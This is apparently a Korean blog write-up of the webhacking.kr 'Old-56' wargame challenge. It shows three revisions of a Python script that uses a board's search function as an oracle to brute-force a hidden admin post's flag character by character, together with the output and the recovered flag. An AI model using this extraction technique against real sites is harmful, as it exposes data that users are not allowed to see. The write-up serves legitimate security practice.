Old - 56 Write Up
작성자 - LRTK
게시판 페이지가 나왔다. 기능을 보기 위해 게시판 글과 검색 기능을 사용해봤다.
Admin의 readme 글은 access denied로 볼 수 없다.
Guest의 hi~ 글은 권한이 모든 사람이 접근할 수 있는 권한인 듯하다.
해당 글들의 URL을 살펴보니, read=admin
, read=quest
로 되어 있었다.
때문에 Injection으로 문제 접근이 불가능해보였다.
검색 기능을 보기위해 admin, guest, hi~, readme
를 입력해봤지만, 모두 위와 같이 결과가 출력되었다.
그래서 “게시판 글 안에 있는 Text를 검색하는건가?”라는 생각에 hello~
를 검색하니, 글이 출력이 되었다.
이를 이용하여 나는 admin의 readme를 추측하기로 하였다.
readme 안에 있는 글은 flag가 있을 것이라 추측이 된다.
그래서 flag
를 검색하니, readme가 출력이 되었다.
이제 파이썬으로 flag{
을 시작으로 특수 문자, 알파벳, 숫자를 이용하여 무차별 공격을 시도하였다.
import requests, string
from bs4 import BeautifulSoup as bs
def flagParser(url:str):
flag = 'flag{'
while True:
if flag[-1] == '}':
break
for i in string.ascii_lowercase + string.digits + string.punctuation:
data = {'search': flag+i}
res = requests.post(url, data=data)
soup = bs(res.text, 'html.parser')
result = soup.select('table tr td a')
if result:
flag += i
print(flag)
break
return flag
if __name__ == '__main__':
url = 'https://webhacking.kr/challenge/web-33/index.php'
print(flagParser(url))
lag{himiko%a%cute%dont%hink%o%%%
flag{himiko%a%cute%dont%hink%o%%%%
flag{himiko%a%cute%dont%hink%o%%%%%
flag{himiko%a%cute%dont%hink%o%%%%%%
flag{himiko%a%cute%dont%hink%o%%%%%%%
flag{himiko%a%cute%dont%hink%o%%%%%%%%
flag{himiko%a%cute%dont%hink%o%%%%%%%%%
flag{himiko%a%cute%dont%hink%o%%%%%%%%%%
되긴 되는데 뭔가 이상하게 나온다.
지금까지 flag 값에 띄어쓰기 대신 들어가는 특수문자 _이 안나오고, %이 나오는 것이다.
그리고 끝도 모르는 %이 계속 뒤에 출력이 되었다.
그래서 직접 값을 보내봐서 확인을 해봤다.
확인을 해보니, flag{himiko_
는 readme가 출력이 되었고, flag{himiko_a
는 출력이 안되었다.
나는 이것을 보고 readme 안에 flag{himiko%a~~~~
와 flag{himiko_~~~~}
이 있다는 것을 알 수 있었다.
코드를 수정하였다.
import requests, string
from bs4 import BeautifulSoup as bs
def flagParser(url:str):
flag = 'flag{'
while True:
if flag[-1] == '}':
break
for i in string.ascii_lowercase + string.digits + '_}' + string.punctuation:
data = {'search': flag+i}
res = requests.post(url, data=data)
soup = bs(res.text, 'html.parser')
result = soup.select('table tr td a')
if result:
flag += i
print(flag)
break
return flag
if __name__ == '__main__':
url = 'https://webhacking.kr/challenge/web-33/index.php'
print(flagParser(url))
flag{himiko_toga_is_cute_dont_you_think_so_
flag{himiko_toga_is_cute_dont_you_think_so__
flag{himiko_toga_is_cute_dont_you_think_so__%
flag{himiko_toga_is_cute_dont_you_think_so__%%
flag{himiko_toga_is_cute_dont_you_think_so__%%%
flag{himiko_toga_is_cute_dont_you_think_so__%%%%
잘 출력이 되다가 또 분기점을 만나서 %이 출력이 된다.
그래서 특수문자를 필요없는 줄여보기로 하였다.
flag에 들어가는 특수문자는 {, }, _, ?, !, @, $, ^, &, *
으로 추려졌다.
왜냐하면 <, >, (, )
은 {, }
때문에 사용을 안할 것으로 판단됐다.
여기서 특수문자가 나오는 순서에 따라 다른 값으로 빠지기 때문에 나는 순서를 }, ?, !, @, #, $, ^, &, *, _
으로 수정하였다.
import requests, string
from bs4 import BeautifulSoup as bs
def flagParser(url:str):
flag = 'flag{'
while True:
if flag[-1] == '}':
break
for i in string.ascii_lowercase + string.digits + '}?!@#$^&*_':
data = {'search': flag+i}
res = requests.post(url, data=data)
soup = bs(res.text, 'html.parser')
result = soup.select('table tr td a')
if result:
flag += i
print(flag)
break
return flag
if __name__ == '__main__':
url = 'https://webhacking.kr/challenge/web-33/index.php'
print(flagParser(url))
flag{himiko_toga_is_cute_dont_you_think_s
flag{himiko_toga_is_cute_dont_you_think_so
flag{himiko_toga_is_cute_dont_you_think_so?
flag{himiko_toga_is_cute_dont_you_think_so?}
flag{himiko_toga_is_cute_dont_you_think_so?}
부족한 실력 때문에 시간을 많이 소모하였지만, Flag를 획득할 수 있었다.
'Season 1 > 워게임' 카테고리의 다른 글
(HackThisSite) Basic missions - Level 1 (0) | 2021.05.23 |
---|---|
Wargame.kr - already got (0) | 2021.05.23 |
Old - 51 Write Up (0) | 2021.05.22 |
Old - 43 Write Up (0) | 2021.05.21 |
Old - 41 Write Up (0) | 2021.05.21 |